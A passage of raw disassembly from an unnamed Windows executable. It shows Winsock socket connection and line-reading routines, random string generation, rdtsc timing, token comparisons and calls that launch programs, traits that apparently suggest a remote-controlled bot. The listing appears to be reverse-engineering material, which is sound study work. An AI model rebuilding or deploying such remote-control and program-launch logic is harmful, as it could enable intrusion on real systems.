loc_41B513:				; CODE XREF: sub_41B4B0+37j
					; sub_41B4B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF


loc_41B51E:				; CODE XREF: sub_41B4B0+F9j
		mov	al, byte_4E6E84
		test	al, al
		jz	loc_41B5AF
		test	esi, esi
		jnz	short loc_41B54E
		push	80Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B54A
		push	esi
		mov	ecx, eax
		call	sub_401C35
		jmp	short loc_41B54C
; ---------------------------------------------------------------------------


loc_41B54A:				; CODE XREF: sub_41B4B0+8Ej
		xor	eax, eax


loc_41B54C:				; CODE XREF: sub_41B4B0+98j
		mov	esi, eax


loc_41B54E:				; CODE XREF: sub_41B4B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B81
		test	al, al
		jnz	short loc_41B567
		push	7D0h
		call	ebp ; dword_50F8D0
		jmp	short loc_41B5A4
; ---------------------------------------------------------------------------


loc_41B567:				; CODE XREF: sub_41B4B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_401893
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B5A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B5A4:				; CODE XREF: sub_41B4B0+B5j
					; sub_41B4B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B51E


loc_41B5AF:				; CODE XREF: sub_41B4B0+3Ej
					; sub_41B4B0+68j ...
		mov	ecx, ebx
		call	sub_4014DD
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B5C0:				; CODE XREF: sub_41B4B0+Bj
					; sub_41B4B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B4B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B620:				; CODE XREF: ___:00401C21j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B695
		mov	esi, ebp


loc_41B63F:				; CODE XREF: ___:0041B693j
		cmp	esi, ebx
		jz	short loc_41B695
		cmp	[esp+18h], bl
		jz	short loc_41B695
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B6A4
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_41B69D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B680
		cmp	al, 0Dh
		jz	short loc_41B680
		cmp	al, bl
		jnz	short loc_41B688


loc_41B680:				; CODE XREF: ___:0041B676j
					; ___:0041B67Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B688:				; CODE XREF: ___:0041B67Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B63F


loc_41B695:				; CODE XREF: ___:0041B63Bj
					; ___:0041B641j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B69D:				; CODE XREF: ___:0041B66Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B6A4:				; CODE XREF: ___:0041B65Aj
					; ___:0041B65Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B6E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B74A
		mov	edi, ebp


loc_41B6FF:				; CODE XREF: sub_41B6E0+68j
		cmp	edi, ebx
		jz	short loc_41B74A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B74A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		test	eax, eax
		jz	short loc_41B759
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B72A
		cmp	al, bl
		jnz	short loc_41B73D


loc_41B72A:				; CODE XREF: sub_41B6E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B737
		mov	[esi+ebp-1], bl
		jmp	short loc_41B739
; ---------------------------------------------------------------------------


loc_41B737:				; CODE XREF: sub_41B6E0+4Fj
		mov	[edi], bl


loc_41B739:				; CODE XREF: sub_41B6E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B73D:				; CODE XREF: sub_41B6E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B6FF


loc_41B74A:				; CODE XREF: sub_41B6E0+1Bj
					; sub_41B6E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B759:				; CODE XREF: sub_41B6E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B6E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B780:				; CODE XREF: ___:00401ADCj
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B7DB


loc_41B7A6:				; CODE XREF: ___:0041B7D9j
		push	3
		push	1
		call	sub_4021A3
		add	esp, 8
		dec	eax
		jz	short loc_41B7C7
		dec	eax
		jz	short loc_41B7C1
		dec	eax
		jnz	short loc_41B7D6
		push	7Ah
		push	61h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C1:				; CODE XREF: ___:0041B7B6j
		push	5Ah
		push	41h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C7:				; CODE XREF: ___:0041B7B3j
		push	39h
		push	30h


loc_41B7CB:				; CODE XREF: ___:0041B7BFj
					; ___:0041B7C5j
		call	sub_4021A3
		add	esp, 8
		mov	[esi+ebx], al


loc_41B7D6:				; CODE XREF: ___:0041B7B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B7A6


loc_41B7DB:				; CODE XREF: ___:0041B7A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B800	proc near		; CODE XREF: sub_40141Aj
		rdtsc
		retn
sub_41B800	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B820	proc near		; CODE XREF: sub_4017F3j

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_50F8D0
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B82F:				; CODE XREF: sub_41B820+43j
					; sub_41B820+4Dj
		call	sub_40141A
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx ; dword_50F8D0
		call	sub_40141A
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_436970
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_436970
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B82F
		jb	short loc_41B86F
		cmp	esi, 0F4240h
		ja	short loc_41B82F


loc_41B86F:				; CODE XREF: sub_41B820+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_4368F0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B8F9
		jb	short loc_41B88F
		cmp	ecx, 50h
		jnb	short loc_41B898


loc_41B88F:				; CODE XREF: sub_41B820+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B898:				; CODE XREF: sub_41B820+6Dj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8A3
		cmp	ecx, 47h
		jnb	short loc_41B8AC


loc_41B8A3:				; CODE XREF: sub_41B820+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B8AC:				; CODE XREF: sub_41B820+81j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8B7
		cmp	ecx, 37h
		jnb	short loc_41B8C0


loc_41B8B7:				; CODE XREF: sub_41B820+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B8C0:				; CODE XREF: sub_41B820+95j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8CB
		cmp	ecx, 26h
		jnb	short loc_41B8D4


loc_41B8CB:				; CODE XREF: sub_41B820+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B8D4:				; CODE XREF: sub_41B820+A9j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8DF
		cmp	ecx, 1Eh
		jnb	short loc_41B8E8


loc_41B8DF:				; CODE XREF: sub_41B820+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B8E8:				; CODE XREF: sub_41B820+BDj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8F3
		cmp	ecx, 0Ah
		jnb	short loc_41B8F9


loc_41B8F3:				; CODE XREF: sub_41B820+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B8F9:				; CODE XREF: sub_41B820+66j
					; sub_41B820+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B950	proc near		; CODE XREF: sub_402022j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41B950
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_447769
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BAAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_401424
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C5D
		mov	ebp, eax
		call	sub_401EEC
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013D9
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 280100Eh
		test	eax, eax
		jnz	short loc_41B9E6
		mov	edi, offset byte_446F70
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41B9E6:				; CODE XREF: sub_41B950+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41B9EF:				; CODE XREF: sub_41B950+A9j
		cmp	ecx, eax
		jnz	short loc_41B9F5
		mov	bl, 1


loc_41B9F5:				; CODE XREF: sub_41B950+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41B9EF
		mov	eax, 61h


loc_41BA00:				; CODE XREF: sub_41B950+BAj
		cmp	ecx, eax
		jnz	short loc_41BA06
		mov	bl, 1


loc_41BA06:				; CODE XREF: sub_41B950+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BA00
		test	bl, bl
		jnz	short loc_41BA32
		mov	edi, offset byte_446F70
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BA32:				; CODE XREF: sub_41B950+BEj
		mov	esi, dword_50FABC
		call	esi ; dword_50FABC
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi ; dword_50FABC
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi ; dword_50FABC
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BAAF:				; CODE XREF: sub_41B950+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_401424
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 27E083Eh
		push	eax
		nop
		call	near ptr 77C371BCh
		mov	edi, dword_50FABC
		add	esp, 4
		call	edi ; dword_50FABC
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015D7
		test	esi, esi
		jle	short loc_41BB4E


loc_41BAF8:				; CODE XREF: sub_41B950+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_401424
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FBE
		call	edi ; dword_50FABC
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_443E84
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BAF8


loc_41BB4E:				; CODE XREF: sub_41B950+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41B950	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC20:				; CODE XREF: ___:00401569j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BC2F
		cmp	al, 9
		jz	short loc_41BC2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BC2F:				; CODE XREF: ___:0041BC26j
					; ___:0041BC2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: ___:00401ED8j
		mov	eax, [esp+4]
		push	offset dword_443E8C
		push	eax
		nop
		call	near ptr 77C3F010h
		add	esp, 8
		test	eax, eax
		jz	short loc_41BC74
		push	eax
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BC74:				; CODE XREF: ___:0041BC65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BC90	proc near		; CODE XREF: sub_401479j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BEEE
		mov	esi, offset byte_446F70
		mov	eax, edi


loc_41BCAA:				; CODE XREF: sub_41BC90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		test	cl, cl
		jz	short loc_41BCCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BCAA


loc_41BCCE:				; CODE XREF: sub_41BC90+26j
		xor	eax, eax
		jmp	short loc_41BCD7
; ---------------------------------------------------------------------------


loc_41BCD2:				; CODE XREF: sub_41BC90+22j
					; sub_41BC90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BCD7:				; CODE XREF: sub_41BC90+40j
		test	eax, eax
		jz	loc_41BEEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_50FAF4
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_443DD4
		push	ecx
		call	edi ; dword_50FAF4
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BEEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BD17:				; CODE XREF: sub_41BC90+A4j
		push	offset dword_443DD4
		push	0
		call	edi ; dword_50FAF4
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BEEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BD17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_443EA8
		mov	eax, ebp


loc_41BD41:				; CODE XREF: sub_41BC90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		test	dl, dl
		jz	short loc_41BD65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD41


loc_41BD65:				; CODE XREF: sub_41BC90+BDj
		xor	eax, eax
		jmp	short loc_41BD6E
; ---------------------------------------------------------------------------


loc_41BD69:				; CODE XREF: sub_41BC90+B9j
					; sub_41BC90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BD6E:				; CODE XREF: sub_41BC90+D7j
		test	eax, eax
		jnz	short loc_41BD7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BD7C:				; CODE XREF: sub_41BC90+E0j
		mov	esi, offset dword_443EA4
		mov	eax, ebp


loc_41BD83:				; CODE XREF: sub_41BC90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		test	dl, dl
		jz	short loc_41BDA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD83


loc_41BDA7:				; CODE XREF: sub_41BC90+FFj
		xor	eax, eax
		jmp	short loc_41BDB0
; ---------------------------------------------------------------------------


loc_41BDAB:				; CODE XREF: sub_41BC90+FBj
					; sub_41BC90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDB0:				; CODE XREF: sub_41BC90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BDFA
		mov	esi, offset dword_443EA0
		mov	edx, edi


loc_41BDBF:				; CODE XREF: sub_41BC90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BDE7
		test	bl, bl
		jz	short loc_41BDE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BDE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BDBF


loc_41BDE3:				; CODE XREF: sub_41BC90+13Bj
		xor	edx, edx
		jmp	short loc_41BDEC
; ---------------------------------------------------------------------------


loc_41BDE7:				; CODE XREF: sub_41BC90+137j
					; sub_41BC90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BDEC:				; CODE XREF: sub_41BC90+155j
		test	edx, edx
		jnz	short loc_41BDFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BDFA:				; CODE XREF: sub_41BC90+126j
					; sub_41BC90+15Ej
		mov	esi, offset dword_443E9C
		mov	edx, ebp


loc_41BE01:				; CODE XREF: sub_41BC90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE29
		test	bl, bl
		jz	short loc_41BE25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE01


loc_41BE25:				; CODE XREF: sub_41BC90+17Dj
		xor	edx, edx
		jmp	short loc_41BE2E
; ---------------------------------------------------------------------------


loc_41BE29:				; CODE XREF: sub_41BC90+179j
					; sub_41BC90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE2E:				; CODE XREF: sub_41BC90+197j
		test	edx, edx
		jnz	short loc_41BE74
		mov	esi, offset dword_443E98
		mov	edx, edi


loc_41BE39:				; CODE XREF: sub_41BC90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE61
		test	bl, bl
		jz	short loc_41BE5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE39


loc_41BE5D:				; CODE XREF: sub_41BC90+1B5j
		xor	edx, edx
		jmp	short loc_41BE66
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BC90+1B1j
					; sub_41BC90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE66:				; CODE XREF: sub_41BC90+1CFj
		test	edx, edx
		jnz	short loc_41BE74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE74:				; CODE XREF: sub_41BC90+1A0j
					; sub_41BC90+1D8j
		mov	esi, offset dword_443E94
		mov	ecx, ebp


loc_41BE7B:				; CODE XREF: sub_41BC90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		test	dl, dl
		jz	short loc_41BE9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE7B


loc_41BE9F:				; CODE XREF: sub_41BC90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BEA8
; ---------------------------------------------------------------------------


loc_41BEA3:				; CODE XREF: sub_41BC90+1F3j
					; sub_41BC90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BEA8:				; CODE XREF: sub_41BC90+211j
		test	ecx, ecx
		jnz	short loc_41BEEE
		mov	esi, offset dword_443E90
		mov	eax, edi


loc_41BEB3:				; CODE XREF: sub_41BC90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		test	cl, cl
		jz	short loc_41BED7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BEB3


loc_41BED7:				; CODE XREF: sub_41BC90+22Fj
		xor	eax, eax
		jmp	short loc_41BEE0
; ---------------------------------------------------------------------------


loc_41BEDB:				; CODE XREF: sub_41BC90+22Bj
					; sub_41BC90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEE0:				; CODE XREF: sub_41BC90+249j
		test	eax, eax
		jnz	short loc_41BEEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEEE:				; CODE XREF: sub_41BC90+Dj
					; sub_41BC90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BC90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BFA0	proc near		; CODE XREF: sub_402004j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		mov	eax, [esp+18h+arg_0]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		call	near ptr 71AB406Ah
		nop
		test	eax, eax
		jnz	short loc_41BFF9
		mov	bl, 1


loc_41BFF9:				; CODE XREF: sub_41BFA0+55j
		push	esi
		call	near ptr 71AB9639h
		nop
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C008:				; CODE XREF: sub_41BFA0+18j
					; sub_41BFA0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41BFA0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C030	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		call	near ptr 7CA41110h
		nop
		cmp	eax, 20h
		setnl	al
		retn
sub_41C030	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_402149j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 27F0000h
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C070	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C0E0:				; CODE XREF: ___:00401875j
		sub	esp, 354h
